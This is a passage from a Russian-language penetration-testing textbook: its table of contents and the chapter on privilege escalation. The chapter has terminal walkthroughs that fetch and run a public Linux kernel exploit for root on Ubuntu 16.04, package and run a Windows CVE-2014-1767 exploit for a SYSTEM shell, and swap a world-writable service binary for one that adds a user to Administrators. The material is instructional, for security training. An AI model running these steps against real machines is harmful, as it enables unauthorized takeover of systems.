
- •Благодарности
- •Список использованных сокращений
- •От издательства
- •Введение
- •Глава 1. Начало
- •Как провести аудит законно?
- •Методология взлома
- •Резюме
- •Глава 2. Получение информации из открытых источников
- •Введение
- •Что искать?
- •Использование Google для сбора информации
- •Ограничение поиска одним сайтом
- •Поиск файлов определенного типа
- •Поиск определенных частей сайта
- •Google Hacking
- •Поиск информации о людях
- •Архивные данные
- •Netcraft
- •Получение информации о домене
- •Автоматизация процесса
- •FOCA
- •Сбор базы данных адресов e-mail
- •recon-ng
- •Упорядочить информацию
- •Резюме
- •Глава 3. Получение информации от сетевых сервисов
- •Введение
- •Сканирование портов
- •Определение активных хостов
- •UDP-сканирование
- •NMAP
- •Получение информации от DNS-сервера
- •Типы записей
- •Взаимодействие с DNS-сервером
- •MX-записи
- •NS-запросы
- •Перебор имен
- •Перебор обратных записей
- •Передача зоны DNS
- •Получение информации с использованием SNMP
- •Получение информации с использованием NetBIOS
- •Null session
- •Работа с электронной почтой
- •Анализ баннеров
- •Получение информации от NTP-сервера
- •Поиск уязвимостей
- •Резюме
- •Глава 4. Атаки на веб-приложения
- •Знакомство с сookie
- •Межсайтовый скриптинг (XSS)
- •Включение локальных или удаленных файлов
- •SQL-инъекции
- •Резюме
- •Глава 5. Социальная инженерия
- •На кого обратить внимание?
- •Фазы атаки
- •Манипулирование людьми
- •Типы атак
- •Social-Engineer Toolkit
- •Резюме
- •Глава 6. Получаем пароли
- •Основные методы
- •Работа со списками паролей
- •Онлайн-атаки
- •Радужные таблицы
- •Резюме
- •Глава 7. Беспроводные сети
- •Краткий обзор Wi-Fi
- •Bluetooth
- •Резюме
- •Глава 8. Перехват информации
- •Пассивный перехват трафика
- •Активный перехват
- •Резюме
- •Глава 9. Обход систем безопасности
- •Системы обнаружения атак
- •Брандмауэры
- •Приманки
- •Резюме
- •Глава 10. Вредоносные программы
- •Вирусы
- •Черви
- •Шпионы
- •Рекламное ПО
- •Троянские кони
- •Практическая часть
- •Резюме
- •Глава 11. Metasploit Framework
- •Интерфейс
- •Вспомогательные модули
- •Полезная нагрузка
- •Практические навыки
- •Резюме
- •Глава 12. Передача файлов
- •TFTP
- •Загрузка файлов с использованием скриптов
- •Резюме
- •Глава 13. Превышение привилегий
- •Локальное повышение прав в Linux
- •Локальное повышение прав в Windows
- •Повышение привилегий в случае некорректной конфигурации прав доступа
- •Резюме
- •Глава 14. Перенаправление портов и туннелирование
- •Перенаправление портов
- •SSH-туннелирование
- •proxychains
- •Резюме
- •Глава 15. Переполнение буфера
- •Атаки, направленные на переполнение буфера
- •Введение
- •Что такое переполнение буфера?
- •Программы, библиотеки и бинарные файлы
- •Угрозы
- •Основы компьютерной архитектуры
- •Организация памяти
- •Разбиение стека (Smashing the stack)
- •Перезапись указателя фрейма
- •Атака возврата в библиотеку
- •Переполнение динамической области памяти
- •Пример нахождения уязвимости переполнения буфера
- •Резюме
- •Глава 16. Собирая все воедино
- •Стандарт выполнения тестов на проникновение
- •Подготовительная фаза
- •Договор о проведении работ
- •Получение разрешения
- •Сбор данных
- •Анализ уязвимостей
- •Моделирование
- •Эксплуатация уязвимостей
- •Постэксплуатационный этап
- •Отчет
- •Зачистка
- •Введение
- •Глава 17. Личный пример
- •Глава 18. Бумажная работа
- •Политика безопасности
- •Стандарты
- •Процедуры
- •Инструкции
- •Техническая документация
- •Глава 19. Обучение и тренировки
- •Тренировки
- •Глава 20. Защита от утечки информации
- •Глава 21. Брандмауэры
- •Глава 22. Системы обнаружения вторжения (IDS)
- •Глава 23. Виртуальные защищенные сети (VPN)
- •Компоненты виртуальной частной сети
- •Безопасность VPN
- •Создание VPN из компонентов с открытым исходным кодом
- •Заключение
13 Превышение привилегий
Вбольшинстве систем существует контроль и разграничение уровня доступа к системным ресурсам, цель которого — запрет выполнения административных функций рядовыми пользователями.
Вто же время любой эксплойт нацелен на то, чтобы после эксплуатации какой-ли- бо уязвимости выполнять запланированные действия с максимально возможным уровнем привилегий. До этого момента мы рассматривали исключительно удаленные, сетевые атаки. Мы использовали эксплойты для проникновения в систему, после чего выполняли желаемые действия от имени привилегированного пользователя. В дальнейшем мы будем исходить из того, что у нас есть доступ к системе, но мы можем выполнять любые действия только от имени непривилегированного пользователя.
Вэтом случае мы будем использовать локальные эксплойты для повышения наших прав. По сути, большинство эксплойтов, нацеленных на повышение привилегий, предназначено для локального использования.
Локальное повышение прав в Linux
Представим себе следующую ситуацию: вам каким-то образом удалось заполучить логин и пароль пользователя к компьютеру под управлением Ubuntu 16.04. Вы зашли в систему при помощи SSH и обнаружили, что вам не хватает прав для совершения определенных действий.
joe@office:~$ id
uid=1001(joe) gid=1001(joe) groups=1001(joe) joe@office:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied joe@office:~$

Локальное повышение прав в Windows 175
После сравнительно недолгого поиска можно найти на exploit-db.com эксплойт для повышения прав пользователя в данной системе. Далее, в нашем случае, все происходит тривиально — скачиваем, компилируем и запускаем.
joe@office:~$ wget -O /tmp/local_exp.c https://www.exploit-db.com/download/40049 --2016-12-01 00:19:59-- https://www.exploit-db.com/download/40049
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8 Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443...
connected.
HTTP request sent, awaiting response... 200 OK Length: 6326 (6.2K) [application/txt]
Saving to: ‘/tmp/local_exp.c’
/tmp/local_exp.c 100%[===================>] 6.18K --.-KB/s in 0s
2016-12-01 00:20:00 (53.2 MB/s) — ‘/tmp/local_exp.c’ saved [6326/6326] joe@office:~$ gcc /tmp/exploit1 -m32 -O2 -o decr
joe@office:~$ gcc /tmp/exploit2 -O2 -o pwn joe@office:~$ ./decr
etfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
[!]Decrementing the refcount. This may take a while...
[!]Wait for the "Done" message (even if you'll get the prompt back). joe@office:~$
[+] Done! Now run ./pwn joe@office:~$ ./pwn [+] Escalating privs...
root@office:~# id
uid=0(root) gid=0(root) groups=0(root) root@office:~#
Обратите внимание на то, что мы скачали один файл, а скомпилировали два. Объяснение этому следующее: эксплойт состоит из двух файлов, которые необходимо запустить последовательно, однако исходный код обоих сохранен в один файл. Поэтому, прежде чем компилировать, мы разделили их — перенесли информацию из одного файла в два, а затем скомпилировали и запустили оба. Всегда внимательно читайте описание эксплойта перед его запуском.
Локальное повышение прав в Windows
В этом примере мы продемонстрируем возможность локального повышения привилегий на компьютере под управлением Windows 7 x64. Уязвимость, которую мы будем использовать, имеет код CVE-2014-1767, а для компиляции эксплойта нам потребуется Python.
Самую новую версию Python мы скачали с официального сайта python.org, а эксплойт взяли с уже известного exploit-db.com.
Теперь нам необходимо сделать из Python-скрипта исполняемый файл для Windows; установим для этого pyinstaller.

176 Глава 13 • Превышение привилегий
C:\Users\test>pip install pyinstaller Collecting pyinstaller
Downloading PyInstaller-3.2.tar.gz (2.8MB)
100% |################################| 2.8MB 339kB/s
Requirement already satisfied (use --upgrade to upgrade): setuptools in c:\pytho n27\lib\site-packages (from pyinstaller)
Collecting pefile (from pyinstaller) Downloading pefile-2016.3.28.tar.gz (58kB)
100% |################################| 61kB 2.0MB/s Collecting pypiwin32 (from pyinstaller)
Downloading pypiwin32-219-cp27-none-win32.whl (6.7MB) 100% |################################| 6.7MB 153kB/s
Collecting future (from pefile->pyinstaller) Downloading future-0.16.0.tar.gz (824kB)
100% |################################| 829kB 758kB/s
Installing collected packages: future, pefile, pypiwin32, pyinstaller Running setup.py install for future ... done
Running setup.py install for pefile ... done Running setup.py install for pyinstaller ... done
Successfully installed future-0.16.0 pefile-2016.3.28 pyinstaller-3.2 pypiwin32219
После того как все необходимые инструменты установлены и эксплойт скачан, создадим исполняемый файл.
C:\Users\test>pyinstaller --onefile C:\Users\test\Downloads\39525.py 629 INFO: PyInstaller: 3.2
629 INFO: Python: 2.7.12
...
21824 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Wind ows-32bit\run.exe
21824 INFO: checking EXE
21827 INFO: Building EXE because out00-EXE.toc is non existent 21828 INFO: Building EXE from out00-EXE.toc
21831 INFO: Appending archive to EXE C:\Users\test\dist\39525.exe
C:\Users\test>
Теперь скопируем файл на машину жертвы и запустим его.
C:\Users\joe> 39525.exe
[*]Exploit for MS14-040 / CVE-2014-1767 <AFD.sys Double Free>
[*]The current process is native x86-64
[*]Allocated a 32-bit friendly address for the shellcode at 0x0000000000010000
[*]Found nt!HalDispatchTable @FFFFF802BEEA6600
[*]Found ROP gadget to disable SMEP @FFFFF802BEF81510
[*]Created and connected a socket
[*]Filling the kernel heap...
[*]Created 7 rectangular regions °
[*]Opening a file handle
[ *] Creating NtWorkerFactory...
[*] Triggering shellcode via NtQuerylntervalProfile

Повышение привилегий в случае некорректной конфигурации прав доступа 177
[*] Go go gadget SYSTEM shell!
Microsoft Windows [Uersion 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami nt authority\system
C:\WINDOWS\system32>
Повышение привилегий в случае некорректной конфигурации прав доступа
Представим себе следующий случай: есть некая программа, запущенная как системный сервис, однако ни разработчик, ни администратор не удосужились проверить права доступа к файлам, используемым для работы этого сервиса. В таком случае получается, что любой пользователь может изменять используемые сервисом файлы. А это значит, что пользователь может внедрить в файл произвольный код и вызвать перезагрузку сервера, а после перезагрузки код будет выполнен с повышенными правами.
В Windows поиск файлов, к которым есть доступ у всех пользователей, легко осуществить при помощи PowerShell.
PS C:\Users\joe> Get-ChildItem C:\ -Recurse | Get-Acl | findstr Everyone
jhi_service.exe |
BUILTIN\Administrators |
|
Everyone |
Allow |
FullControl... |
nusb3mon.exe |
BUILTIN\Administrators |
|
Everyone |
Allow |
FullControl... |
Теперь создаем исполняемый файл, отвечающий за то, чтобы пользователь joe был добавлен в группу Administrators.
root@kali:~# sudo apt-get install mingw-w64 Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed: binutils-mingw-w64-i686 binutils-mingw-w64-x86-64 g++-mingw-w64
...
Setting up gnat-mingw-w64 (6.1.1-12+19.1) ...
Setting up mingw-w64 (4.0.6-1) ...
root@kali:~# x86_64-w64-mingw32-gcc -o nusb3mon.exe /root/useradd.c
Скопируем полученный файл на машину жертвы и заменим им оригинальный файл, после этого остается только перезагрузить сервис или машину жертвы. В случае, если у вас недостаточно прав, можно дождаться момента, пока это сделает кто-нибудь другой.